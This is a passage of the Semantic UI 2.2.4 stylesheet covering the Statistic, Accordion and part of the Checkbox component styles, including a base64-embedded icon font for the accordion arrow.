    User Variable Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Statistic
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
           Statistic
*******************************/

/* Standalone */

.ui.statistic {
  display: -webkit-inline-box;
  display: -webkit-inline-flex;
  display: -ms-inline-flexbox;
  display: inline-flex;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -webkit-flex-direction: column;
  -ms-flex-direction: column;
  flex-direction: column;
  margin: 1em 0em;
  max-width: auto;
}

.ui.statistic + .ui.statistic {
  margin: 0em 0em 0em 1.5em;
}

.ui.statistic:first-child {
  margin-top: 0em;
}

.ui.statistic:last-child {
  margin-bottom: 0em;
}

/*******************************
            Group
*******************************/

/* Grouped */

.ui.statistics {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: start;
  -webkit-align-items: flex-start;
  -ms-flex-align: start;
  align-items: flex-start;
  -webkit-flex-wrap: wrap;
  -ms-flex-wrap: wrap;
  flex-wrap: wrap;
}

.ui.statistics > .statistic {
  display: -webkit-inline-box;
  display: -webkit-inline-flex;
  display: -ms-inline-flexbox;
  display: inline-flex;
  -webkit-box-flex: 0;
  -webkit-flex: 0 1 auto;
  -ms-flex: 0 1 auto;
  flex: 0 1 auto;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -webkit-flex-direction: column;
  -ms-flex-direction: column;
  flex-direction: column;
  margin: 0em 1.5em 2em;
  max-width: auto;
}

.ui.statistics {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  margin: 1em -1.5em -2em;
}

/* Clearing */

.ui.statistics:after {
  display: block;
  content: ' ';
  height: 0px;
  clear: both;
  overflow: hidden;
  visibility: hidden;
}

.ui.statistics:first-child {
  margin-top: 0em;
}

.ui.statistics:last-child {
  margin-bottom: 0em;
}

/*******************************
            Content
*******************************/

/*--------------
      Value
---------------*/

.ui.statistics .statistic > .value,
.ui.statistic > .value {
  
  font-size: 4rem;
  font-weight: normal;
  line-height: 1em;
  color: #1B1C1D;
  text-transform: uppercase;
  text-align: center;
}

/*--------------
     Label
---------------*/

.ui.statistics .statistic > .label,
.ui.statistic > .label {
  
  font-size: 1em;
  font-weight: bold;
  color: rgba(0, 0, 0, 0.87);
  text-transform: uppercase;
  text-align: center;
}

/* Top Label */

.ui.statistics .statistic > .label ~ .value,
.ui.statistic > .label ~ .value {
  margin-top: 0rem;
}

/* Bottom Label */

.ui.statistics .statistic > .value ~ .label,
.ui.statistic > .value ~ .label {
  margin-top: 0rem;
}

/*******************************
             Types
*******************************/

/*--------------
   Icon Value
---------------*/

.ui.statistics .statistic > .value .icon,
.ui.statistic > .value .icon {
  opacity: 1;
  width: auto;
  margin: 0em;
}

/*--------------
   Text Value
---------------*/

.ui.statistics .statistic > .text.value,
.ui.statistic > .text.value {
  line-height: 1em;
  min-height: 2em;
  font-weight: bold;
  text-align: center;
}

.ui.statistics .statistic > .text.value + .label,
.ui.statistic > .text.value + .label {
  text-align: center;
}

/*--------------
   Image Value
---------------*/

.ui.statistics .statistic > .value img,
.ui.statistic > .value img {
  max-height: 3rem;
  vertical-align: baseline;
}

/*******************************
            Variations
*******************************/

/*--------------
      Count
---------------*/

.ui.ten.statistics {
  margin: 0em 0em -2em;
}

.ui.ten.statistics .statistic {
  min-width: 10%;
  margin: 0em 0em 2em;
}

.ui.nine.statistics {
  margin: 0em 0em -2em;
}

.ui.nine.statistics .statistic {
  min-width: 11.11111111%;
  margin: 0em 0em 2em;
}

.ui.eight.statistics {
  margin: 0em 0em -2em;
}

.ui.eight.statistics .statistic {
  min-width: 12.5%;
  margin: 0em 0em 2em;
}

.ui.seven.statistics {
  margin: 0em 0em -2em;
}

.ui.seven.statistics .statistic {
  min-width: 14.28571429%;
  margin: 0em 0em 2em;
}

.ui.six.statistics {
  margin: 0em 0em -2em;
}

.ui.six.statistics .statistic {
  min-width: 16.66666667%;
  margin: 0em 0em 2em;
}

.ui.five.statistics {
  margin: 0em 0em -2em;
}

.ui.five.statistics .statistic {
  min-width: 20%;
  margin: 0em 0em 2em;
}

.ui.four.statistics {
  margin: 0em 0em -2em;
}

.ui.four.statistics .statistic {
  min-width: 25%;
  margin: 0em 0em 2em;
}

.ui.three.statistics {
  margin: 0em 0em -2em;
}

.ui.three.statistics .statistic {
  min-width: 33.33333333%;
  margin: 0em 0em 2em;
}

.ui.two.statistics {
  margin: 0em 0em -2em;
}

.ui.two.statistics .statistic {
  min-width: 50%;
  margin: 0em 0em 2em;
}

.ui.one.statistics {
  margin: 0em 0em -2em;
}

.ui.one.statistics .statistic {
  min-width: 100%;
  margin: 0em 0em 2em;
}

/*--------------
   Horizontal
---------------*/

.ui.horizontal.statistic {
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -ms-flex-direction: row;
  flex-direction: row;
  -webkit-box-align: center;
  -webkit-align-items: center;
  -ms-flex-align: center;
  align-items: center;
}

.ui.horizontal.statistics {
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -webkit-flex-direction: column;
  -ms-flex-direction: column;
  flex-direction: column;
  margin: 0em;
  max-width: none;
}

.ui.horizontal.statistics .statistic {
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -ms-flex-direction: row;
  flex-direction: row;
  -webkit-box-align: center;
  -webkit-align-items: center;
  -ms-flex-align: center;
  align-items: center;
  max-width: none;
  margin: 1em 0em;
}

.ui.horizontal.statistic > .text.value,
.ui.horizontal.statistics > .statistic > .text.value {
  min-height: 0em !important;
}

.ui.horizontal.statistics .statistic > .value .icon,
.ui.horizontal.statistic > .value .icon {
  width: 1.18em;
}

.ui.horizontal.statistics .statistic > .value,
.ui.horizontal.statistic > .value {
  display: inline-block;
  vertical-align: middle;
}

.ui.horizontal.statistics .statistic > .label,
.ui.horizontal.statistic > .label {
  display: inline-block;
  vertical-align: middle;
  margin: 0em 0em 0em 0.75em;
}

/*--------------
     Colors
---------------*/

.ui.red.statistics .statistic > .value,
.ui.statistics .red.statistic > .value,
.ui.red.statistic > .value {
  color: #DB2828;
}

.ui.orange.statistics .statistic > .value,
.ui.statistics .orange.statistic > .value,
.ui.orange.statistic > .value {
  color: #F2711C;
}

.ui.yellow.statistics .statistic > .value,
.ui.statistics .yellow.statistic > .value,
.ui.yellow.statistic > .value {
  color: #FBBD08;
}

.ui.olive.statistics .statistic > .value,
.ui.statistics .olive.statistic > .value,
.ui.olive.statistic > .value {
  color: #B5CC18;
}

.ui.green.statistics .statistic > .value,
.ui.statistics .green.statistic > .value,
.ui.green.statistic > .value {
  color: #21BA45;
}

.ui.teal.statistics .statistic > .value,
.ui.statistics .teal.statistic > .value,
.ui.teal.statistic > .value {
  color: #00B5AD;
}

.ui.blue.statistics .statistic > .value,
.ui.statistics .blue.statistic > .value,
.ui.blue.statistic > .value {
  color: #2185D0;
}

.ui.violet.statistics .statistic > .value,
.ui.statistics .violet.statistic > .value,
.ui.violet.statistic > .value {
  color: #6435C9;
}

.ui.purple.statistics .statistic > .value,
.ui.statistics .purple.statistic > .value,
.ui.purple.statistic > .value {
  color: #A333C8;
}

.ui.pink.statistics .statistic > .value,
.ui.statistics .pink.statistic > .value,
.ui.pink.statistic > .value {
  color: #E03997;
}

.ui.brown.statistics .statistic > .value,
.ui.statistics .brown.statistic > .value,
.ui.brown.statistic > .value {
  color: #A5673F;
}

.ui.grey.statistics .statistic > .value,
.ui.statistics .grey.statistic > .value,
.ui.grey.statistic > .value {
  color: #767676;
}

/*--------------
    Inverted
---------------*/

.ui.inverted.statistics .statistic > .value,
.ui.inverted.statistic .value {
  color: #FFFFFF;
}

.ui.inverted.statistics .statistic > .label,
.ui.inverted.statistic .label {
  color: rgba(255, 255, 255, 0.9);
}

.ui.inverted.red.statistics .statistic > .value,
.ui.statistics .inverted.red.statistic > .value,
.ui.inverted.red.statistic > .value {
  color: #FF695E;
}

.ui.inverted.orange.statistics .statistic > .value,
.ui.statistics .inverted.orange.statistic > .value,
.ui.inverted.orange.statistic > .value {
  color: #FF851B;
}

.ui.inverted.yellow.statistics .statistic > .value,
.ui.statistics .inverted.yellow.statistic > .value,
.ui.inverted.yellow.statistic > .value {
  color: #FFE21F;
}

.ui.inverted.olive.statistics .statistic > .value,
.ui.statistics .inverted.olive.statistic > .value,
.ui.inverted.olive.statistic > .value {
  color: #D9E778;
}

.ui.inverted.green.statistics .statistic > .value,
.ui.statistics .inverted.green.statistic > .value,
.ui.inverted.green.statistic > .value {
  color: #2ECC40;
}

.ui.inverted.teal.statistics .statistic > .value,
.ui.statistics .inverted.teal.statistic > .value,
.ui.inverted.teal.statistic > .value {
  color: #6DFFFF;
}

.ui.inverted.blue.statistics .statistic > .value,
.ui.statistics .inverted.blue.statistic > .value,
.ui.inverted.blue.statistic > .value {
  color: #54C8FF;
}

.ui.inverted.violet.statistics .statistic > .value,
.ui.statistics .inverted.violet.statistic > .value,
.ui.inverted.violet.statistic > .value {
  color: #A291FB;
}

.ui.inverted.purple.statistics .statistic > .value,
.ui.statistics .inverted.purple.statistic > .value,
.ui.inverted.purple.statistic > .value {
  color: #DC73FF;
}

.ui.inverted.pink.statistics .statistic > .value,
.ui.statistics .inverted.pink.statistic > .value,
.ui.inverted.pink.statistic > .value {
  color: #FF8EDF;
}

.ui.inverted.brown.statistics .statistic > .value,
.ui.statistics .inverted.brown.statistic > .value,
.ui.inverted.brown.statistic > .value {
  color: #D67C1C;
}

.ui.inverted.grey.statistics .statistic > .value,
.ui.statistics .inverted.grey.statistic > .value,
.ui.inverted.grey.statistic > .value {
  color: #DCDDDE;
}

/*--------------
    Floated
---------------*/

.ui[class*="left floated"].statistic {
  float: left;
  margin: 0em 2em 1em 0em;
}

.ui[class*="right floated"].statistic {
  float: right;
  margin: 0em 0em 1em 2em;
}

.ui.floated.statistic:last-child {
  margin-bottom: 0em;
}

/*--------------
     Sizes
---------------*/

/* Mini */

.ui.mini.statistics .statistic > .value,
.ui.mini.statistic > .value {
  font-size: 1.5rem !important;
}

.ui.mini.horizontal.statistics .statistic > .value,
.ui.mini.horizontal.statistic > .value {
  font-size: 1.5rem !important;
}

.ui.mini.statistics .statistic > .text.value,
.ui.mini.statistic > .text.value {
  font-size: 1rem !important;
}

/* Tiny */

.ui.tiny.statistics .statistic > .value,
.ui.tiny.statistic > .value {
  font-size: 2rem !important;
}

.ui.tiny.horizontal.statistics .statistic > .value,
.ui.tiny.horizontal.statistic > .value {
  font-size: 2rem !important;
}

.ui.tiny.statistics .statistic > .text.value,
.ui.tiny.statistic > .text.value {
  font-size: 1rem !important;
}

/* Small */

.ui.small.statistics .statistic > .value,
.ui.small.statistic > .value {
  font-size: 3rem !important;
}

.ui.small.horizontal.statistics .statistic > .value,
.ui.small.horizontal.statistic > .value {
  font-size: 2rem !important;
}

.ui.small.statistics .statistic > .text.value,
.ui.small.statistic > .text.value {
  font-size: 1rem !important;
}

/* Medium */

.ui.statistics .statistic > .value,
.ui.statistic > .value {
  font-size: 4rem !important;
}

.ui.horizontal.statistics .statistic > .value,
.ui.horizontal.statistic > .value {
  font-size: 3rem !important;
}

.ui.statistics .statistic > .text.value,
.ui.statistic > .text.value {
  font-size: 2rem !important;
}

/* Large */

.ui.large.statistics .statistic > .value,
.ui.large.statistic > .value {
  font-size: 5rem !important;
}

.ui.large.horizontal.statistics .statistic > .value,
.ui.large.horizontal.statistic > .value {
  font-size: 4rem !important;
}

.ui.large.statistics .statistic > .text.value,
.ui.large.statistic > .text.value {
  font-size: 2.5rem !important;
}

/* Huge */

.ui.huge.statistics .statistic > .value,
.ui.huge.statistic > .value {
  font-size: 6rem !important;
}

.ui.huge.horizontal.statistics .statistic > .value,
.ui.huge.horizontal.statistic > .value {
  font-size: 5rem !important;
}

.ui.huge.statistics .statistic > .text.value,
.ui.huge.statistic > .text.value {
  font-size: 2.5rem !important;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
    User Variable Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Accordion
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Accordion
*******************************/

.ui.accordion,
.ui.accordion .accordion {
  max-width: 100%;
}

.ui.accordion .accordion {
  margin: 1em 0em 0em;
  padding: 0em;
}

/* Title */

.ui.accordion .title,
.ui.accordion .accordion .title {
  cursor: pointer;
}

/* Default Styling */

.ui.accordion .title:not(.ui) {
  padding: 0.5em 0em;
  
  font-size: 1em;
  color: rgba(0, 0, 0, 0.87);
}

/* Content */

.ui.accordion .title ~ .content,
.ui.accordion .accordion .title ~ .content {
  display: none;
}

/* Default Styling */

.ui.accordion:not(.styled) .title ~ .content:not(.ui),
.ui.accordion:not(.styled) .accordion .title ~ .content:not(.ui) {
  margin: '';
  padding: 0.5em 0em 1em;
}

.ui.accordion:not(.styled) .title ~ .content:not(.ui):last-child {
  padding-bottom: 0em;
}

/* Arrow */

.ui.accordion .title .dropdown.icon,
.ui.accordion .accordion .title .dropdown.icon {
  display: inline-block;
  float: none;
  opacity: 1;
  width: 1.25em;
  height: 1em;
  margin: 0em 0.25rem 0em 0rem;
  padding: 0em;
  font-size: 1em;
  -webkit-transition: opacity 0.1s ease, -webkit-transform 0.1s ease;
  transition: opacity 0.1s ease, -webkit-transform 0.1s ease;
  transition: transform 0.1s ease, opacity 0.1s ease;
  transition: transform 0.1s ease, opacity 0.1s ease, -webkit-transform 0.1s ease;
  vertical-align: baseline;
  -webkit-transform: none;
  -ms-transform: none;
  transform: none;
}

/*--------------
    Coupling
---------------*/

/* Menu */

.ui.accordion.menu .item .title {
  display: block;
  padding: 0em;
}

.ui.accordion.menu .item .title > .dropdown.icon {
  float: right;
  margin: 0.21425em 0em 0em 1em;
  -webkit-transform: rotate(180deg);
  -ms-transform: rotate(180deg);
  transform: rotate(180deg);
}

/* Header */

.ui.accordion .ui.header .dropdown.icon {
  font-size: 1em;
  margin: 0em 0.25rem 0em 0rem;
}

/*******************************
            States
*******************************/

.ui.accordion .active.title .dropdown.icon,
.ui.accordion .accordion .active.title .dropdown.icon {
  -webkit-transform: rotate(90deg);
  -ms-transform: rotate(90deg);
  transform: rotate(90deg);
}

.ui.accordion.menu .item .active.title > .dropdown.icon {
  -webkit-transform: rotate(90deg);
  -ms-transform: rotate(90deg);
  transform: rotate(90deg);
}

/*******************************
            Types
*******************************/

/*--------------
     Styled
---------------*/

.ui.styled.accordion {
  width: 600px;
}

.ui.styled.accordion,
.ui.styled.accordion .accordion {
  border-radius: 0.28571429rem;
  background: #FFFFFF;
  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15), 0px 0px 0px 1px rgba(34, 36, 38, 0.15);
}

.ui.styled.accordion .title,
.ui.styled.accordion .accordion .title {
  margin: 0em;
  padding: 0.75em 1em;
  color: rgba(0, 0, 0, 0.4);
  font-weight: bold;
  border-top: 1px solid rgba(34, 36, 38, 0.15);
  -webkit-transition: background 0.1s ease, color 0.1s ease;
  transition: background 0.1s ease, color 0.1s ease;
}

.ui.styled.accordion > .title:first-child,
.ui.styled.accordion .accordion .title:first-child {
  border-top: none;
}

/* Content */

.ui.styled.accordion .content,
.ui.styled.accordion .accordion .content {
  margin: 0em;
  padding: 0.5em 1em 1.5em;
}

.ui.styled.accordion .accordion .content {
  padding: 0em;
  padding: 0.5em 1em 1.5em;
}

/* Hover */

.ui.styled.accordion .title:hover,
.ui.styled.accordion .active.title,
.ui.styled.accordion .accordion .title:hover,
.ui.styled.accordion .accordion .active.title {
  background: transparent;
  color: rgba(0, 0, 0, 0.87);
}

.ui.styled.accordion .accordion .title:hover,
.ui.styled.accordion .accordion .active.title {
  background: transparent;
  color: rgba(0, 0, 0, 0.87);
}

/* Active */

.ui.styled.accordion .active.title {
  background: transparent;
  color: rgba(0, 0, 0, 0.95);
}

.ui.styled.accordion .accordion .active.title {
  background: transparent;
  color: rgba(0, 0, 0, 0.95);
}

/*******************************
            States
*******************************/

/*--------------
     Active
---------------*/

.ui.accordion .active.content,
.ui.accordion .accordion .active.content {
  display: block;
}

/*******************************
           Variations
*******************************/

/*--------------
     Fluid
---------------*/

.ui.fluid.accordion,
.ui.fluid.accordion .accordion {
  width: 100%;
}

/*--------------
     Inverted
---------------*/

.ui.inverted.accordion .title:not(.ui) {
  color: rgba(255, 255, 255, 0.9);
}

/*******************************
         Theme Overrides
*******************************/

@font-face {
  font-family: 'Accordion';
  src: url(data:application/x-font-ttf;charset=utf-8;base64,AAEAAAALAIAAAwAwT1MvMggjB5AAAAC8AAAAYGNtYXAPfOIKAAABHAAAAExnYXNwAAAAEAAAAWgAAAAIZ2x5Zryj6HgAAAFwAAAAyGhlYWT/0IhHAAACOAAAADZoaGVhApkB5wAAAnAAAAAkaG10eAJuABIAAAKUAAAAGGxvY2EAjABWAAACrAAAAA5tYXhwAAgAFgAAArwAAAAgbmFtZfC1n04AAALcAAABPHBvc3QAAwAAAAAEGAAAACAAAwIAAZAABQAAAUwBZgAAAEcBTAFmAAAA9QAZAIQAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+D/4AHgACAAAAABAAAAAAAAAAAAAAAgAAAAAAACAAAAAwAAABQAAwABAAAAFAAEADgAAAAKAAgAAgACAAEAIPDa//3//wAAAAAAIPDZ//3//wAB/+MPKwADAAEAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAAAAAAAAAIAADc5AQAAAAABAAAAAAAAAAAAAgAANzkBAAAAAAEAAAAAAAAAAAACAAA3OQEAAAAAAQASAEkAtwFuABMAADc0PwE2FzYXFh0BFAcGJwYvASY1EgaABQgHBQYGBQcIBYAG2wcGfwcBAQcECf8IBAcBAQd/BgYAAAAAAQAAAEkApQFuABMAADcRNDc2MzIfARYVFA8BBiMiJyY1AAUGBwgFgAYGgAUIBwYFWwEACAUGBoAFCAcFgAYGBQcAAAABAAAAAQAAqWYls18PPPUACwIAAAAAAM/9o+4AAAAAz/2j7gAAAAAAtwFuAAAACAACAAAAAAAAAAEAAAHg/+AAAAIAAAAAAAC3AAEAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAQAAAAC3ABIAtwAAAAAAAAAKABQAHgBCAGQAAAABAAAABgAUAAEAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAADgCuAAEAAAAAAAEADAAAAAEAAAAAAAIADgBAAAEAAAAAAAMADAAiAAEAAAAAAAQADABOAAEAAAAAAAUAFgAMAAEAAAAAAAYABgAuAAEAAAAAAAoANABaAAMAAQQJAAEADAAAAAMAAQQJAAIADgBAAAMAAQQJAAMADAAiAAMAAQQJAAQADABOAAMAAQQJAAUAFgAMAAMAAQQJAAYADAA0AAMAAQQJAAoANABaAHIAYQB0AGkAbgBnAFYAZQByAHMAaQBvAG4AIAAxAC4AMAByAGEAdABpAG4AZ3JhdGluZwByAGEAdABpAG4AZwBSAGUAZwB1AGwAYQByAHIAYQB0AGkAbgBnAEYAbwBuAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAgAGIAeQAgAEkAYwBvAE0AbwBvAG4ALgADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('truetype'), url(data:application/font-woff;charset=utf-8;base64,d09GRk9UVE8AAASwAAoAAAAABGgAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAAA9AAAAS0AAAEtFpovuE9TLzIAAAIkAAAAYAAAAGAIIweQY21hcAAAAoQAAABMAAAATA984gpnYXNwAAAC0AAAAAgAAAAIAAAAEGhlYWQAAALYAAAANgAAADb/0IhHaGhlYQAAAxAAAAAkAAAAJAKZAedobXR4AAADNAAAABgAAAAYAm4AEm1heHAAAANMAAAABgAAAAYABlAAbmFtZQAAA1QAAAE8AAABPPC1n05wb3N0AAAEkAAAACAAAAAgAAMAAAEABAQAAQEBB3JhdGluZwABAgABADr4HAL4GwP4GAQeCgAZU/+Lix4KABlT/4uLDAeLa/iU+HQFHQAAAHkPHQAAAH4RHQAAAAkdAAABJBIABwEBBw0PERQZHnJhdGluZ3JhdGluZ3UwdTF1MjB1RjBEOXVGMERBAAACAYkABAAGAQEEBwoNVp38lA78lA78lA77lA773Z33bxWLkI2Qj44I9xT3FAWOj5CNkIuQi4+JjoePiI2Gi4YIi/uUBYuGiYeHiIiHh4mGi4aLho2Ijwj7FPcUBYeOiY+LkAgO+92L5hWL95QFi5CNkI6Oj4+PjZCLkIuQiY6HCPcU+xQFj4iNhouGi4aJh4eICPsU+xQFiIeGiYaLhouHjYePiI6Jj4uQCA74lBT4lBWLDAoAAAAAAwIAAZAABQAAAUwBZgAAAEcBTAFmAAAA9QAZAIQAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+D/4AHgACAAAAABAAAAAAAAAAAAAAAgAAAAAAACAAAAAwAAABQAAwABAAAAFAAEADgAAAAKAAgAAgACAAEAIPDa//3//wAAAAAAIPDZ//3//wAB/+MPKwADAAEAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAEAADfYOJZfDzz1AAsCAAAAAADP/aPuAAAAAM/9o+4AAAAAALcBbgAAAAgAAgAAAAAAAAABAAAB4P/gAAACAAAAAAAAtwABAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAEAAAAAtwASALcAAAAAUAAABgAAAAAADgCuAAEAAAAAAAEADAAAAAEAAAAAAAIADgBAAAEAAAAAAAMADAAiAAEAAAAAAAQADABOAAEAAAAAAAUAFgAMAAEAAAAAAAYABgAuAAEAAAAAAAoANABaAAMAAQQJAAEADAAAAAMAAQQJAAIADgBAAAMAAQQJAAMADAAiAAMAAQQJAAQADABOAAMAAQQJAAUAFgAMAAMAAQQJAAYADAA0AAMAAQQJAAoANABaAHIAYQB0AGkAbgBnAFYAZQByAHMAaQBvAG4AIAAxAC4AMAByAGEAdABpAG4AZ3JhdGluZwByAGEAdABpAG4AZwBSAGUAZwB1AGwAYQByAHIAYQB0AGkAbgBnAEYAbwBuAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAgAGIAeQAgAEkAYwBvAE0AbwBvAG4ALgADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('woff');
  font-weight: normal;
  font-style: normal;
}

/* Dropdown Icon */

.ui.accordion .title .dropdown.icon,
.ui.accordion .accordion .title .dropdown.icon {
  font-family: Accordion;
  line-height: 1;
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
  font-weight: normal;
  font-style: normal;
  text-align: center;
}

.ui.accordion .title .dropdown.icon:before,
.ui.accordion .accordion .title .dropdown.icon:before {
  content: '\f0da' ;
}

/*******************************
        User Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Checkbox
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
           Checkbox
*******************************/

/*--------------
    Content
---------------*/

.ui.checkbox {
  position: relative;
  display: inline-block;
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
  outline: none;
  vertical-align: baseline;
  font-style: normal;
  min-height: 17px;
  font-size: 1rem;
  line-height: 17px;
  min-width: 17px;
}

/* HTML Checkbox */

.ui.checkbox input[type="checkbox"],
.ui.checkbox input[type="radio"] {
  cursor: pointer;
  position: absolute;
  top: 0px;
  left: 0px;
  opacity: 0 !important;
  outline: none;
  z-index: 3;
  width: 17px;
  height: 17px;
}

/*--------------
      Box
---------------*/

.ui.checkbox .box,
.ui.checkbox label {
  cursor: auto;
  position: relative;
  display: block;
  padding-left: 1.85714em;
  outline: none;
  font-size: 1em;
}

.ui.checkbox .box:before,
.ui.checkbox label:before {
  position: absolute;
  top: 0px;
  left: 0px;
  width: 17px;
  height: 17px;
  content: '';
  background: #FFFFFF;
  border-radius: 0.21428571rem;
  -webkit-transition: border 0.1s ease, opacity 0.1s ease, box-shadow 0.1s ease, -webkit-transform 0.1s ease;
  transition: border 0.1s ease, opacity 0.1s ease, box-shadow 0.1s ease, -webkit-transform 0.1s ease;
  transition: border 0.1s ease, opacity 0.1s ease, transform 0.1s ease, box-shadow 0.1s ease;
  transition: border 0.1s ease, opacity 0.1s ease, transform 0.1s ease, box-shadow 0.1s ease, -webkit-transform 0.1s ease;
  border: 1px solid #D4D4D5;
}

/*--------------
    Checkmark
---------------*/

.ui.checkbox .box:after,
.ui.checkbox label:after {
  position: absolute;
  font-size: 14px;
  top: 0px;
  left: 0px;
  width: 17px;
  height: 17px;
  text-align: center;
  opacity: 0;
  color: rgba(0, 0, 0, 0.87);
  -webkit-transition: border 0.1s ease, opacity 0.1s ease, box-shadow 0.1s ease, -webkit-transform 0.1s ease;
  transition: border 0.1s ease, opacity 0.1s ease, box-shadow 0.1s ease, -webkit-transform 0.1s ease;
  transition: border 0.1s ease, opacity 0.1s ease, transform 0.1s ease, box-shadow 0.1s ease;
  transition: border 0.1s ease, opacity 0.1s ease, transform 0.1s ease, box-shadow 0.1s ease, -webkit-transform 0.1s ease;
}

/*--------------
      Label
---------------*/

/* Inside */

.ui.checkbox label,
.ui.checkbox + label {
  color: rgba(0, 0, 0, 0.87);
  -webkit-transition: color 0.1s ease;
  transition: color 0.1s ease;
}

/* Outside */

.ui.checkbox + label {
  vertical-align: middle;
}

/*******************************
           States
*******************************/

/*--------------
      Hover
---------------*/

.ui.checkbox .box:hover::before,
.ui.checkbox label:hover::before {
  background: #FFFFFF;
  border-color: rgba(34, 36, 38, 0.35);
}

.ui.checkbox label:hover,
.ui.checkbox + label:hover {
  color: rgba(0, 0, 0, 0.8);
}

/*--------------
      Down
---------------*/

.ui.checkbox .box:active::before,
.ui.checkbox label:active::before {
  background: #F9FAFB;
  border-color: rgba(34, 36, 38, 0.35);
}

.ui.checkbox .box:active::after,
.ui.checkbox label:active::after {
  color: rgba(0, 0, 0, 0.95);
}

.ui.checkbox input:active ~ label {
  color: rgba(0, 0, 0, 0.95);
}

/*--------------
     Focus
---------------*/

.ui.checkbox input:focus ~ .box:before,
.ui.checkbox input:focus ~ label:before {
  background: #FFFFFF;
  border-color: #96C8DA;
}

.ui.checkbox input:focus ~ .box:after,
.ui.checkbox input:focus ~ label:after {
  color: rgba(0, 0, 0, 0.95);
}

.ui.checkbox input:focus ~ label {
  color: rgba(0, 0, 0, 0.95);
}

/*--------------
     Active
---------------*/

.ui.checkbox input:checked ~ .box:before,
.ui.checkbox input:checked ~ label:before {
  background: #FFFFFF;
  border-color: rgba(34, 36, 38, 0.35);
}

.ui.checkbox input:checked ~ .box:after,
.ui.checkbox input:checked ~ label:after {
  opacity: 1;
  color: rgba(0, 0, 0, 0.95);
}

/*--------------
  Indeterminate
---------------*/

.ui.checkbox input:not([type=radio]):indeterminate ~ .box:before,
.ui.checkbox input:not([type=radio]):indeterminate ~ label:before {
  background: #FFFFFF;
  border-color: rgba(34, 36, 38, 0.35);
}

.ui.checkbox input:not([type=radio]):indeterminate ~ .box:after,
.ui.checkbox input:not([type=radio]):indeterminate ~ label:after {
  opacity: 1;
  color: rgba(0, 0, 0, 0.95);
}

/*--------------
  Active Focus
---------------*/

.ui.checkbox input:not([type=radio]):indeterminate:focus ~ .box:before,
.ui.checkbox input:not([type=radio]):indeterminate:focus ~ label:before,
.ui.checkbox input:checked:focus ~ .box:before,
.ui.checkbox input:checked:focus ~ label:before {
  background: #FFFFFF;
  border-color: #96C8DA;
}

.ui.checkbox input:not([type=radio]):indeterminate:focus ~ .box:after,
.ui.checkbox input:not([type=radio]):indeterminate:focus ~ label:after,
.ui.checkbox input:checked:focus ~ .box:after,
.ui.checkbox input:checked:focus ~ label:after {
  color: rgba(0, 0, 0, 0.95);
}

/*--------------
    Read-Only
---------------*/

.ui.read-only.checkbox,
.ui.read-only.checkbox label {
  cursor: default;
}

/*--------------
     Disabled
---------------*/

.ui.disabled.checkbox .box:after,
.ui.disabled.checkbox label,
.ui.checkbox input[disabled] ~ .box:after,
.ui.checkbox input[disabled] ~ label {
  cursor: default !important;
  opacity: 0.5;
  color: #000000;
}

/*--------------
     Hidden
---------------*/

/* Initialized checkbox moves input below element
 to prevent manually triggering */

.ui.checkbox input.hidden {
  z-index: -1;
}

/* Selectable Label */

.ui.checkbox input.hidden + label {
  cursor: pointer;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
}

/*******************************
             Types
*******************************/

/*--------------
     Radio
---------------*/

.ui.radio.checkbox {
  min-height: 15px;
}

.ui.radio.checkbox .box,
.ui.radio.checkbox label {
  padding-left: 1.85714em;
}

/* Box */

.ui.radio.checkbox .box:before,
.ui.radio.checkbox label:before {
  content: '';
  -webkit-transform: none;
  -ms-transform: none;
  transform: none;
  width: 15px;
  height: 15px;
  border-radius: 500rem;
  top: 1px;
  left: 0px;
}

/* Bullet */

.ui.radio.checkbox .box:after,
.ui.radio.checkbox label:after {
  border: none;
  content: '' !important;
  width: 15px;
  height: 15px;
  line-height: 15px;
}

/* Radio Checkbox */

.ui.radio.checkbox .box:after,
.ui.radio.checkbox label:after {
  top: 1px;
  left: 0px;
  width: 15px;
  height: 15px;
  border-radius: 500rem;
  -webkit-transform: scale(0.46666667);
  -ms-transform: scale(0.46666667);
  transform: scale(0.46666667);
  background-color: rgba(0, 0, 0, 0.87);
}

/* Focus */

.ui.radio.checkbox input:focus ~ .box:before,
.ui.radio.checkbox input:focus ~ label:before {
  background-color: #FFFFFF;
}

.ui.radio.checkbox input:focus ~ .box:after,
.ui.radio.checkbox input:focus ~ label:after {
